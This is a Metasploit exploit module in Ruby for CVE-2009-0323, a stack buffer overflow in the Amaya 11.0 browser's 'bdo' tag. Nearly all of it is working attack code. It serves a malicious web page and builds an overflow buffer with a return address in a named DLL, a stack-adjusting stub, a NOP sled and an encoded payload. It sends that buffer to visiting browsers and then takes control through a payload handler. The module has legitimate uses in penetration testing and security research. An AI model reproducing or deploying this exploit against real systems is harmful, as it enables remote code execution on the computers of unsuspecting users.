Amaya Browser 11.0 - bdo tag Overflow

                                                ##
# $Id: amaya_bdo.rb 9262 2010-05-09 17:45:00Z jduck $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Amaya Browser v11.0 bdo tag overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in the Amaya v11 Browser.
                    By sending an overly long string to the "bdo"
                    tag, an attacker may be able to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'dookie, original exploit by Rob Carter' ],
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2009-0323' ],
                    [ 'OSVDB', '55721' ],
                    [ 'BID', '33046, 33047' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 970,
                    'BadChars'      => "\x00",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Amaya Browser v11',     { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll
                ],
            'DisclosureDate' => 'Jan 28 2009',
            'DefaultTarget'  => 0))
    end
 
 
    def on_request_uri(cli, request)
        # Re-generate the payload
        return if ((p = regenerate_payload(cli)) == nil)
 
        # Set the exploit buffer
        sploit = "<bdo dir=\""
        sploit += "\x41" * 6889
        sploit += "\x74\x06\x41\x41"
        sploit += [target.ret].pack('V')
        sploit += "\x68\x7f\x01\x01\x7f"   # push 7F01017F
        sploit += "\x58"           # pop EAX
        sploit += "\x2d\x18\x69\x45\x7d"   # sub EAX, 7A7A0857
        sploit += "\x50"           # push EAX
        sploit += "\xc3"           # RETN
        sploit += make_nops(100)
        sploit += payload.encoded
        sploit += make_nops(970 - payload.encoded.length)
        sploit += "\">pwned!</bdo>"
 
        print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
 
        # Transmit the response to the client
        send_response_html(cli, sploit)
 
        # Handle the payload
        handler(cli)
    end
 
end